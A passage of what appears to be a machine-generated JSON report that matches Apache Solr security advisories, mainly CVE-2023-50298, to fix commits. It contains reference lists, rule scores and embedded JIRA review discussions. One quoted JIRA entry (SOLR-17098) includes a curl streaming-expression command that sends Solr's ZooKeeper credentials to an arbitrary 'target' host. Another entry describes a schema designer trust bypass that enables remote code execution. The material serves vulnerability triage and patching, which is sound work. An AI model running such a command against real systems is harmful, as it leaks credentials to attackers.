"https://solr.apache.org/security.html#cve-2023-50298-apache-solr-can-expose-zookeeper-credentials-via-streaming-expressions": 6, - "http://www.openwall.com/lists/oss-security/2024/02/09/3": 4, - "http://www.openwall.com/lists/oss-security/2024/02/09/2": 4, - "https://www.openwall.com/lists/oss-security/2024/02/09/2": 2, - "https://www.apache.org/security/": 2, - "https://cwiki.apache.org/confluence/display/SOLR/SolrSecurity": 2, - "https://nvd.nist.gov/vuln/detail/CVE-2024-31391": 2, - "https://nvd.nist.gov/vuln/detail/CVE-2023-50291": 2, - "https://nvd.nist.gov/vuln/detail/CVE-2023-50292": 2, - "https://nvd.nist.gov/vuln/detail/CVE-2023-50298": 2, - "https://nvd.nist.gov/vuln/detail/CVE-2023-50386": 2, - "https://nvd.nist.gov/vuln/detail/CVE-2023-50290": 2, - "https://nvd.nist.gov/vuln/detail/CVE-2022-39135": 2, - "https://logging.apache.org/log4j/2.x/security.html": 2, - "https://issues.apache.org/jira/browse/SOLR-15217": 2, - "https://issues.apache.org/jira/browse/SOLR-15249": 2, - "https://issues.apache.org/jira/browse/SOLR-15233": 2, - "https://nvd.nist.gov/vuln/detail/CVE-2018-10237": 2, - "https://nvd.nist.gov/vuln/detail/CVE-2017-14952": 2, - "https://nvd.nist.gov/vuln/detail/CVE-2018-1335": 2, - "https://nvd.nist.gov/vuln/detail/CVE-": 2, - "https://solr.apache.org/community.html#mailing-lists-chat": 1, - "https://solr.apache.org/downloads.html": 1, - "https://cyclonedx.org/capabilities/vex/": 1, - "https://github.com/oasis-tcs/csaf/blob/master/csaf_2.0/prose/csaf-v2-editor-draft.md#45-profile-5-vex": 1, - "https://www.apache.org/foundation/mailinglists.html": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2021-44548": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2021-44228": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2021-27905": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2021-29262": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2021-29943": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2020-13957": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2020-13941": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2019-17558": 1, - "https://issues.apache.org/jira/browse/SOLR-17216": 1, - "https://issues.apache.org/jira/browse/SOLR-16809": 1, - "https://issues.apache.org/jira/browse/SOLR-16777": 1, - "https://issues.apache.org/jira/browse/SOLR-17098": 1, - "https://issues.apache.org/jira/browse/SOLR-16949": 1, - "https://issues.apache.org/jira/browse/SOLR-16808": 1, - "https://issues.apache.org/jira/browse/SOLR-16421": 1, - "https://issues.apache.org/jira/browse/SOLR-15826": 1, - "https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126": 1, - "https://cwiki.apache.org/confluence/display/SOLR/SolrSecurity#SolrSecurity-SolrandVulnerabilityScanningTools": 1, - "https://hub.docker.com/_/solr": 1, - "https://lists.apache.org/thread/kgh63sncrsm2bls884pg87mnt8vqztmz": 1, - "https://solr.apache.org/guide/8_6/configsets-api.html": 1, - "https://solr.apache.org/guide/8_6/authentication-and-authorization-plugins.html": 1, - "https://issues.apache.org/jira/browse/SOLR-14663": 1, - "https://issues.apache.org/jira/browse/SOLR-14925": 1, - "https://issues.apache.org/jira/browse/SOLR-13971": 1, - "https://issues.apache.org/jira/browse/SOLR-14025": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2022-33980": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2022-42889": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2022-25168": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2021-44832": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2021-45105": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2021-45046": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2020-13955": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2014-0114": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2019-10086": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2012-2098": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2018-1324": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2018-11771": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2018-1000632": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2017-15718": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2017-15095": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2017-17485": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2017-7525": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2018-5968": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2018-7489": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2019-12086": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2019-12384": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2018-12814": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2019-14379": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2019-14439": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2020-35490": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2020-35491": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2021-20190": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2019-14540": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2019-16335": 1, - "https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2019-10241": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2019-10247": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2020-27218": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2020-27223": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2021-33813": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2018-1000056": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2014-7940": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2016-6293": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2016-7415": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2017-17484": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2017-7867": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2017-7868": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2019-16869": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2017-14868": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2017-14949": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2015-5237": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2018-1471": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2018-8088": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2016-6809": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2018-1338": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2018-1339": 1, - "https://github.com/Gagravarr/VorbisJava/issues/30": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2012-0881": 1, - "https://nvd.nist.gov/vuln/detail/CVE-2023-51074": 1, - "https://www.apache.org/": 1, - "https://www.apache.org/foundation/thanks.html": 1, - "https://www.apache.org/foundation/sponsorship.html": 1, - "https://www.apache.org/licenses/": 1, - "http://lucene.apache.org/": 1, - "http://zookeeper.apache.org/": 1, - "http://tika.apache.org/": 1, - "http://manifoldcf.apache.org/": 1, - "http://spark.apache.org/": 1, - "http://nutch.apache.org/": 1, - "http://zeppelin.apache.org/": 1, - "http://opennlp.apache.org/": 1, - "https://www.apache.org/licenses/LICENSE-2.0": 1, - "https://privacy.apache.org/policies/privacy-policy-public.html": 1, - "https://www.apache.org/foundation/marks/": 1 - }, - "affected_products": [ - "Streaming", - "ZooKeeper", - "Unauthorized", - "SolrCloud", - "Information", - "Actor", - "Expressions", - "Sensitive", - "Solr", - "Clouds", - "Apache Solr" - ], - "versions": { - "lessThanOrEqual": "8.11.2", - "status": "affected", - "version": "6.0.0", - "versionType": "semver" - }, - "files": [ - "This", - "ZooKeeper", - "SolrCloud", - "Solr", - "ACLs", - "zkHost" - ], - "keywords": [ - "request", - "stream", - "read", - "upgrade", - "apache", - "issue", - "solrcloud", - "handler", - "address", - "information", - "exposure", - "version", - "solr", - "user", - "credential", - "allow", - "sensitive", - "affect", - "expression", - "recommend", - "accept", - "unauthorized", - "value", - "clouds", - "server", - "have", - "provide", - "connect", - "expressions", - "zookeeper", - "send", - "parameter", - "permission", - "attacker", - "setup", - "streaming", - "give", - "actor", - "extract", - "datum", - "vulnerability", - "expose", - "chroot" - ], - "files_extension": [], - "has_fixing_commit": false - }, - "commits": [ - { - "commit_id": "61c956c426b2cfb85ccef55d1afca4335eacd269", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1701804925, - "hunks": 30, - "message": "SOLR-17098: Only use ZK ACLs for default ZK Host (cherry picked from commit e2bf1f434aad873fbb24c21d46ac00e888806d98)", - "changed_files": [ - "solr/core/src/java/org/apache/solr/core/CoreContainer.java", - "solr/solr-ref-guide/src/stream-decorator-reference.adoc", - "solr/solr-ref-guide/src/stream-source-reference.adoc", - "solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudHttp2SolrClient.java", - "solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudSolrClient.java", - "solr/solrj/src/java/org/apache/solr/client/solrj/impl/ZkClientClusterStateProvider.java", - "solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/SolrZkClient.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java", - "solr/solrj/src/test-files/solrj/solr/solr.xml" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-17098": "Security list thread: https://lists.apache.org/thread/byrxkqk15mh6960wmx4r851srosgkvbh ZK Credentials and ACLs can be exposed to any endpoint when the Streaming Handler is used: curl --data-urlencode 'expr=search(collection1, zkHost=\"target:2121\", qt=\"/export\", q=\" : \", fl=\"id,a_s,a_i,a_f\", sort=\"a_f asc, a_i asc\")' http://localhost:8983/solr/demo/stream In the command above, if the Solr instance has any Zookeeper Credentials or ACLs provided, then that information will be sent to the \"target:2121\" address. An attacker could set up a mock Zookeeper service to obtain the credentials, and then gain access to the Solr's Zookeeper Nodes. Zookeeper Credential Information Disclosure bug via Streaming Expressions Have a patch ready to test out. It works across all uses of the SolrClientCache, so hopefully there won't be any gaps we need to plugin in the future. Thanks for working on this! Feel free to at-mention me next time. I would have responded earlier in the month. I applied the patch to IntelliJ and also ran the tests via Crave CLI invocation (all passed; 6m 43sec) CloudSolrStream: you initialize ignoreZkACLs boolean but never use it (thanks IntelliJ for pointing this out) TupleStream: can remove your only edit; it was just for a newline SolrClientCache: here you used zkHost::contains but shouldn't this be zkHost::equals ? Should match the host exactly, not partially. Thanks for finding the first two, removed both as they were from earlier implementations. The SolrClientCache used contains to make sure that other chRoots could still use the ACLs, because that's not a security issue. However yeah contains was the wrong way to do it. I changed it to \"equals\" after removing chRoots. New patch should be good to go? This works. +1 In retrospect, I don't love that this approach introduces ignoreZkACLs in a number of places; it takes some review to understand what's going on and it seems yet another small wrinkle of complexity on things. It's an exotic option. An alternative approach is to try to isolate the entire change to SolrZkClient.createZkCredentialsToAddAutomatically, where zkCredentialsProvider is loaded and is itself an exotic option as well. The zkServer would be passed in to that method. But it's unclear how that method would know if the zkServer is the one (or ones?) to which the zkCredentialsProvider applies. So a half-baked idea. Maybe it would require whatever the sys prop that identifies ZK being set and equivalent to the arg. Perhaps ZkCredentialsInjector's API (or its collaborator APIs) are missing an argument that ought to be there \u2013 the zkServer. Any way I did +1. Yeah unfortunately all of the ZkCredentialsInjector stuff is a part of SolrJ-Zookeeper, and thus doesn't really have any knowledge of the Solr Core's Zookeeper address. So we'd have to pass through that info anyways. I'll move forward so this won't block the patch releases, we can always improve it in the future. houston , anything needed to get this over the finish line? This is the only block for 9.4.1 https://issues.apache.org/jira/issues/?jql=project%20%3D%20SOLR%20AND%20resolution%20%3D%20Unresolved%20AND%20fixVersion%20%3D%209.4.1%20%20ORDER%20BY%20priority%20DESC%2C%20updated%20DESC This has been backported to 9.4.1, but it hasn't been backported to 8.11.3 yet, so it's not marked as Done. You should be good to move forward with 9.4.1 This has been backported to branch_8_11 now. All backporting should be done. Closing after the 9.4.1 release" - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - }, - { - "id": "XREF_BUG", - "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-17098", - "relevance": 32 - }, - { - "id": "RELEVANT_WORDS_IN_MESSAGE", - "message": "The commit message contains some relevant words: ACLs", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: This, ZooKeeper, Solr, ACLs, zkHost", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java, solr/solr-ref-guide/src/stream-decorator-reference.adoc, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudHttp2SolrClient.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/solrj/src/test-files/solrj/solr/solr.xml, solr/solrj/src/java/org/apache/solr/common/cloud/SolrZkClient.java, solr/solr-ref-guide/src/stream-source-reference.adoc, solr/solrj/src/java/org/apache/solr/client/solrj/impl/ZkClientClusterStateProvider.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/CloudSolrClient.java", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-17098 contains some security-related terms: security", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: read, stream, provide, clouds", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-17098", - "relevance": 2 - } - ] - }, - { - "commit_id": "4ac1d59918c250bffb09899572bd92054cee063a", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1682778169, - "hunks": 1, - "message": "SOLR-16777: Fix for Schema Designer blindly trusting potentially malicious configsets", - "changed_files": [ - "solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-16777": "When configset API is used to upload configsets by unauthenticated users, a \"trusted: false\" flag is set on the configset. Such configsets cannot use the directive to load classes while creating/loading collections. Details here: https://solr.apache.org/guide/8_10/configsets-api.html#configsets-upload Unfortunately, this safety mechanism was bypassed in the schema designer when a isConfigsetTrusted was hardcoded to true. https://github.com/apache/solr/blob/branch_9_1/solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java#L697 As per Skay's report https://twitter.com/Skay_00/status/1646870062601756672 remote code execution is possible in unsecured Solr clusters where authentication hasn't been enabled. This ticket is to mitigate one aspect of that, i.e. the schema designer vulnerability. While our recommendation to all users remains the same, i.e. to secure Solr installations with authentication and authorization, I thank Skay for his detailed report. Schema Designer blindly \"trusts\" potentially malicious configset Attaching a patch to fix this. All tests pass. I'm planning to commit this soon, would love to have someone review it. LGTM. go ahead and merge please Commit bf9ca1044b2eec234038c2c27ec7996d589bb8c8 in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=bf9ca1044b2 ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets Commit 17b32f9b59094cda22e9e43236c97a575a7e16a0 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=17b32f9b590 ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets Commit 0333862ad289d9f73c7c96e1d26ebe15e506a4aa in solr's branch refs/heads/branch_9_2 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=0333862ad28 ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets Thanks Skay, for reporting the bug as well as pointing towards the area of code containing the bug in your blog post! I have a question about the patch. Does this mean that everything the schema designer can never trust anything, even if it was uploaded by a trusted user? gus True. All unsafe features are disabled for any config that is uploaded over an API call Does this mean that everything the schema designer can never trust anything, even if it was uploaded by a trusted user? Yes. That is against the documentation for the trusted config set feature. I think the code should be determining if the user is trusted and then passing the correct value. Either one every time is wrong. The behavior should match config set upload. It's terribly confusing if nobody (trusted or untrusted) can use schema designer just because someone (trusted) uploaded a config set that requires trust previously... Because if the existing config that is being edited has \"trust required\" features\u00a0 and the user is editing something benign and unrelated to the \"trust required\" feature, this call will fail (unless I misunderstand) I think the code should be determining if the user is trusted and then passing the correct value. Sure, please feel free to re-open and add the check here. I hope all of this will become a non-issue once directives are gone ( SOLR-16781 ). Commit 9a4f4fff1cca1590eb039b521fb3f10abbdb62b3 in solr's branch refs/heads/branch_9_2 from Jan H\u00f8ydahl [ https://gitbox.apache.org/repos/asf?p=solr.git;h=9a4f4fff1cc ] SOLR-16777 Move changes entry from 9.2.1 to 9.2.2 Signed-off-by: Jan H\u00f8ydahl https://solr.apache.org/guide/solr/latest/configuration-guide/configsets-api.html#configsets-upload specifies two other features that also are only available with trusted configsets. is not the only issue. So unless the whole trusted config set feature is going away hard-coding a value seems to create a trap for the user. I don't have time to work on this right now, but I'm -1 on anything that makes schema designer (or any other feature) fail for unclear reasons. If the error message is clear enough, and the ref guide is updated to clarify the incompatibility of the listed \"trusted\" features with schema designer and we commit to doing something nicer in 9.3 I'll change that to -0.9, but it would be much better to be consistent with the existing feature. Security is important,\u00a0 but we shouldn't make our software trappy and hard to use either. security is not optional . Unsafe features should be removed as and when we find them I don't think this makes schema designer unusable at all. This is an extremely obscure feature that's carried forward from non cloud Solr Of course it's not optional, but usability isn't optional either. The fact that security is more important is why I am willing to put up with a well documented gotcha for the short term. Which feature are you referring to as carried forward. Schema designer appeared in 8.10 and trusted configsets first showed up\u00a0 in 8.4? (in documentation at least, I haven't figured out if trusted configsets were undocumented for a while before that) and other unsafe features mentioned in the configset upload API will generate an error (with the reason) when loaded from untrusted configsets. Those features shouldn't be used anyway, so if they dont work with schema designer, it is not the end of the world. Which feature are you referring to as carried forward I guess he's referring to and other insecure features (stateless script update processor?) etc. Also, the overlap of users using such obscure and advanced features and those using the schema designer will probably be negligible. Re-opening to make sure either Document in ref-guide that Schema Designer now can ONLY work on untrusted config sets OR Toggle safe/unsafe based on whether the call is authorized, like is done for configset-api +1 to what Gus said, and Jan's decision to reopen. Sure, please feel free to re-open and add the check here. Procedurally, responding to review this way feels...maybe not \"wrong\", but at least \"odd\". And maybe even slightly harmful? Obviously I'm not saying every last review comment needs addressed. Some are too minor or loosely held even by the reviewer. Often there's competing views, or a suggestion might deserve its own spinoff ticket, etc. That stuff happens all the time. But to seemingly agree after a few back-and-forth's (or at least acquiesce?) and still not incorporate the feedback - with no explanation - just feels a little weird. It discounts the time Gus and others put in to their reviews. And, longer term, it'd be natural for anyone reading here to hesitate before giving you a review the next time around. Which, it goes without saying, hurts everyone. ichattopadhyaya could you please at least explain why you don't care to incorporate Gus' feedback? Jason, please stop being so melodramatic. I'm on travel at the moment. I'll pick it up when I get some time. This is a volunteer driven project, so feel free to do something you expect me to do (which I will do). Btw, I agree with Jan's suggestion. I think we should rather add the check than explain why we don't. Fyi, Jason \ud83d\ude0a I think we should rather add the check than explain why we don't. +1 Jason, please stop being so melodramatic. I'm on travel at the moment Apologies for the \"melodrama,\" if that's how my comment came off. I wasn't trying to make a bigger thing of it than it is. I've been thinking a lot lately about how it's the unwritten rules and norms that allow our community to work at all. How we incorporate feedback is one of those. Those norms are just so, so important. That's all I was trying to get across. (And related - I think you're right - as important as it is, it's hard to elucidate or appeal to that sort of stuff without sounding like a crazy person catastrophizing or being melodramatic with some minuscule detail \ud83d\ude2c. So, I get that haha.) Anyways, I appreciate your clarifying that you intended to get to it in time . That's perfect. Have a safe trip! Any conclusion on this? It currently blocks 9.2.2 I'll take a look at this, latest by Thursday this week; Hopefully, that will be before the 9.3 release. I added a patch that should use the built-in trustedness of the configSet being used, when designing with the schema designer. If the user uploads a custom file to the configSet using the schema designer APIs, it can only remove the trust (if the user is not authenticated). It can never add trust to an untrusted configSet, because there is no way to replace all files using the schema designer APIs. (And we aren't going to give a whole configSet trust just because one file is now \"trusted\") I'm trying to get a release candidate out soon, so would appreciate anyone that could review the patch! The patch LGTM, with the small quibble that maybe we should document the \"final\" behavior around Schema Designer and trusted-ness in the ref-guide somewhere? LGTM. Summarized changes: ZkConfigSetService.java: The method signature of loadConfigSetFlags was modified to remove the CoreDescriptor parameter. ConfigSetService.java: Import of ZkSolrResourceLoader was removed. Two methods, isConfigSetTrusted(String name) and isConfigSetTrusted(SolrResourceLoader coreLoader), were added to check whether a given config set or a config set associated with a resource loader is trusted. In the loadConfigSet method, the check for a trusted config set was replaced with a call to the new isConfigSetTrusted method. The createSolrConfig method was updated to use the isConfigSetTrusted method for the trusted argument. The loadConfigSetFlags method was modified, similar to the change in ZkConfigSetService.java, to remove the CoreDescriptor parameter. ConfigSetAPIBase.java: The isTrusted method was made static, and its visibility was changed to public. The isCurrentlyTrusted method was removed. The method ensureOverwritingUntrustedConfigSet was updated to use configSetService.isConfigSetTrusted(configName) instead of isCurrentlyTrusted(configName). CreateConfigSetAPI.java: Updated to use configSetService.isConfigSetTrusted(createConfigPayload.baseConfigSet) instead of isCurrentlyTrusted(createConfigPayload.baseConfigSet). UploadConfigSetAPI.java: Updated to use configSetService.isConfigSetTrusted(configSetName) instead of isCurrentlyTrusted(configSetName). SchemaDesignerAPI.java: Updated to use the static isTrusted method from ConfigSetAPIBase.java. Also added logic to remove the trusted flag on the configSet if the request is untrusted. SchemaDesignerConfigSetHelper.java: Updated to load the Solr config with the trusted flag retrieved from isConfigSetTrusted. Added isConfigSetTrusted and removeConfigSetTrust methods. Trust is now determined based on the config set itself rather than on the loading process, and checks for trust have been centralized in the ConfigSetService class. Thank you very much, houston , for getting to this! I skimmed through the changes (still too busy to find time for a thorough review), and they look reasonable. Ok I cleaned it up a bit more and added docs. Will commit soon, after the tests pass. So we are going to need an 8.11.2 release for this, correct? I can volunteer for an 8x release containing this, immediately after 9.3 is out. Thanks Houston! Commit 35d352522df046aab9035d60806ababffa0f00e8 in solr's branch refs/heads/main from Houston Putman [ https://gitbox.apache.org/repos/asf?p=solr.git;h=35d352522df ] SOLR-16777 : Make SchemaDesigner use ConfigSet trust Commit 6b6e45a7c6e4f08fe1db951164ddab93809459db in solr's branch refs/heads/branch_9x from Houston Putman [ https://gitbox.apache.org/repos/asf?p=solr.git;h=6b6e45a7c6e ] SOLR-16777 : Make SchemaDesigner use ConfigSet trust (cherry picked from commit 35d352522df046aab9035d60806ababffa0f00e8) Commit d07751cfaa8065bea8bd43f59e758e50d50c2419 in solr's branch refs/heads/branch_9_3 from Houston Putman [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d07751cfaa8 ] SOLR-16777 : Make SchemaDesigner use ConfigSet trust (cherry picked from commit 35d352522df046aab9035d60806ababffa0f00e8) Closing after the 9.3.0 release Hi, was it fixed int he 8.11 line as well? No. I created backporting this as a blocker for 8.11.3: SOLR-16948 Commit 4ac1d59918c250bffb09899572bd92054cee063a in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=4ac1d59918c ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets The other fix here by Houston is still remaining. Working on it. houston , can you please review my changes to https://github.com/apache/lucene-solr/tree/jira/solr-16777-8x-backport branch? Patch file is here: https://github.com/apache/lucene-solr/commit/f9fdfc3863d436829e925acd2157e356205af929.diff I'm unable to raise a PR for it, GitHub shows me the following error: Pull request creation failed. Validation failed: must be a collaborator I wasn't able to port all the refactoring that the config sets codepaths has received in 9x, so doing a targeted fix here. That looks good, except that SchemaDesignerSettingsDAO.getSettings() is missing its change. Thanks for the quick review, Houston. Here's remaining change (another commit on the same branch): https://github.com/apache/lucene-solr/commit/a01567b6e5f49e9b9760c07d2c5db40e1255b150.diff +1 if everything passes Commit 6e9ed203b30958396bdfd41760d426b386646865 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=6e9ed203b30 ] SOLR-16777 : Schema Designer now correctly manages trust of the ConfigSets it is managing Co-authored-by: Houston Putman " - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - }, - { - "id": "XREF_BUG", - "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16777", - "relevance": 32 - }, - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-16777 contains some security-related terms: unsafe, secure, security, insecure, malicious", - "relevance": 4 - }, - { - "id": "SEC_KEYWORDS_IN_MESSAGE", - "message": "The commit message contains some security-related keywords: malicious", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: handler", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-16777", - "relevance": 2 - } - ] - }, - { - "commit_id": "6e9ed203b30958396bdfd41760d426b386646865", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1699036210, - "hunks": 18, - "message": "SOLR-16777: Schema Designer now correctly manages trust of the ConfigSets it is managing Co-authored-by: Houston Putman ", - "changed_files": [ - "solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java", - "solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerAPI.java", - "solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java", - "solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerSettingsDAO.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-16777": "When configset API is used to upload configsets by unauthenticated users, a \"trusted: false\" flag is set on the configset. Such configsets cannot use the directive to load classes while creating/loading collections. Details here: https://solr.apache.org/guide/8_10/configsets-api.html#configsets-upload Unfortunately, this safety mechanism was bypassed in the schema designer when a isConfigsetTrusted was hardcoded to true. https://github.com/apache/solr/blob/branch_9_1/solr/core/src/java/org/apache/solr/handler/designer/SchemaDesignerConfigSetHelper.java#L697 As per Skay's report https://twitter.com/Skay_00/status/1646870062601756672 remote code execution is possible in unsecured Solr clusters where authentication hasn't been enabled. This ticket is to mitigate one aspect of that, i.e. the schema designer vulnerability. While our recommendation to all users remains the same, i.e. to secure Solr installations with authentication and authorization, I thank Skay for his detailed report. Schema Designer blindly \"trusts\" potentially malicious configset Attaching a patch to fix this. All tests pass. I'm planning to commit this soon, would love to have someone review it. LGTM. go ahead and merge please Commit bf9ca1044b2eec234038c2c27ec7996d589bb8c8 in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=bf9ca1044b2 ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets Commit 17b32f9b59094cda22e9e43236c97a575a7e16a0 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=17b32f9b590 ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets Commit 0333862ad289d9f73c7c96e1d26ebe15e506a4aa in solr's branch refs/heads/branch_9_2 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=0333862ad28 ] SOLR-16777 : Fix for Schema Designer blindly trusting potentially malicious configsets Thanks Skay, for reporting the bug as well as pointing towards the area of code containing the bug in your blog post! I have a question about the patch. Does this mean that everything the schema designer can never trust anything, even if it was uploaded by a trusted user? gus True. All unsafe features are disabled for any config that is uploaded over an API call Does this mean that everything the schema designer can never trust anything, even if it was uploaded by a trusted user? Yes. That is against the documentation for the trusted config set feature. I think the code should be determining if the user is trusted and then passing the correct value. Either one every time is wrong. The behavior should match config set upload. It's terribly confusing if nobody (trusted or untrusted) can use schema designer just because someone (trusted) uploaded a config set that requires trust previously... Because if the existing config that is being edited has \"trust required\" features\u00a0 and the user is editing something benign and unrelated to the \"trust required\" feature, this call will fail (unless I misunderstand) I think the code should be determining if the user is trusted and then passing the correct value. Sure, please feel free to re-open and add the check here. I hope all of this will become a non-issue once directives are gone ( SOLR-16781 ). Commit 9a4f4fff1cca1590eb039b521fb3f10abbdb62b3 in solr's branch refs/heads/branch_9_2 from Jan H\u00f8ydahl [ https://gitbox.apache.org/repos/asf?p=solr.git;h=9a4f4fff1cc ] SOLR-16777 Move changes entry from 9.2.1 to 9.2.2 Signed-off-by: Jan H\u00f8ydahl https://solr.apache.org/guide/solr/latest/configuration-guide/configsets-api.html#configsets-upload specifies two other features that also are only available with trusted configsets. is not the only issue. So unless the whole trusted config set feature is going away hard-coding a value seems to create a trap for the user. I don't have time to work on this right now, but I'm -1 on anything that makes schema designer (or any other feature) fail for unclear reasons. If the error message is clear enough, and the ref guide is updated to 